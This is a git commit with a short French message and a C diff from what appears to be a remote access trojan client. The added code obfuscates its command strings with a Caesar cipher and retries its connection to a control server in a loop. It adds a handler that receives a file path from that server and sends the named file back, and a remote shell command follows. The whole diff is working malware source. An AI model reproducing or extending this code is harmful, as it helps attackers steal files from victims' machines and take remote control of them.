upload marche

sauf avec les .m4v, jsp pourquoi. reste : remove directory
This commit is contained in:
2023-02-21 12:25:43 +01:00
parent 64efa1e861
commit b642bab69c
9 changed files with 85 additions and 10 deletions

View File

@@ -346,7 +346,20 @@ retry:
}
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
char* path = (char*)Api.malloc(MAX_PATH);
//Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
upload_file(sock, CAESAR_DECRYPT(path));
Api.free(path);
}
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell